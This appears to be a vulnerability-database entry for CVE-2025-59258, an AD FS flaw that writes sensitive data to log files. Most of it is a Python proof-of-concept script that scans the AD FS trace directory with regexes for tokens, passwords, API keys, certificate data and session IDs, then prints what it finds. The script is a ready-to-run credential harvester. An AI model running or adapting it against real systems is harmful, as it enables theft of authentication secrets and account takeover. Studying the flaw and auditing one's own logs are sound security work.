Insertion of sensitive information into log file in Active Directory Federation Services allows an unauthorized attacker to disclose information locally.
Microsoft Active Directory Federation Services（具体版本请参考Microsoft安全公告）
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-59258 PoC - AD FS Sensitive Information Disclosure via Log Files
# This PoC demonstrates how to search for sensitive information in AD FS log files
import os
import re
import sys
def search_adfs_logs(log_directory="C:\\ProgramData\\Microsoft\\ADFS\\Trace"):
"""
Search for sensitive information in AD FS log files.
This demonstrates the information disclosure vulnerability where
sensitive data is written to log files accessible to local users.
"""
# Patterns that may indicate sensitive information in AD FS logs
sensitive_patterns = [
(r'(?i)(token|jwt|saml)\s*[:=]\s*([A-Za-z0-9_\-\.]{20,})', 'Authentication Token'),
(r'(?i)(password|passwd|pwd)\s*[:=]\s*(\S+)', 'Password'),
(r'(?i)(secret|api[_-]?key)\s*[:=]\s*(\S+)', 'Secret/API Key'),
(r'(?i)(certificate|cert)\s*[:=]\s*([A-Za-z0-9+/=]{20,})', 'Certificate Data'),
(r'(?i)(session[_-]?id|sid)\s*[:=]\s*([A-Za-z0-9\-]{10,})', 'Session ID'),
(r'(?i)(bearer)\s+([A-Za-z0-9_\-\.]{20,})', 'Bearer Token'),
]
findings = []
# Check AD FS trace log directory
if os.path.exists(log_directory):
print(f"[*] Scanning AD FS log directory: {log_directory}")
for root, dirs, files in os.walk(log_directory):
for file_name in files:
if file_name.endswith(('.log', '.txt', '.etl')):
file_path = os.path.join(root, file_name)
try:
with open(file_path, 'r', errors='ignore') as f:
content = f.read()
for pattern, info_type in sensitive_patterns:
matches = re.findall(pattern, content)
if matches:
for match in matches[:5]: # Limit output
findings.append({
'file': file_path,
'type': info_type,
'data': match[1] if len(match) > 1 else match[0]
})
except PermissionError:
print(f"[!] Permission denied: {file_path}")
except Exception as e:
print(f"[!] Error reading {file_path}: {e}")
else:
print(f"[-] AD FS log directory not found: {log_directory}")
# Also check Windows Event Logs for AD FS events
print("\n[*] Check Windows Event Viewer for AD FS/AD FS Tracing logs")
print(" Event sources: AD FS, AD FS Tracing, ADFS-Proxy")
return findings
if __name__ == "__main__":
print("=" * 60)
print("CVE-2025-59258 - AD FS Log Information Disclosure PoC")
print("=" * 60)
log_dir = sys.argv[1] if len(sys.argv) > 1 else "C:\\ProgramData\\Microsoft\\ADFS\\Trace"
results = search_adfs_logs(log_dir)
if results:
print(f"\n[!] Found {len(results)} potential sensitive information entries:")
for r in results:
print(f" File: {r['file']}")
print(f" Type: {r['type']}")
print(f" Data: {r['data'][:50]}...")
print()
else:
print("\n[-] No sensitive information found in accessible log files.")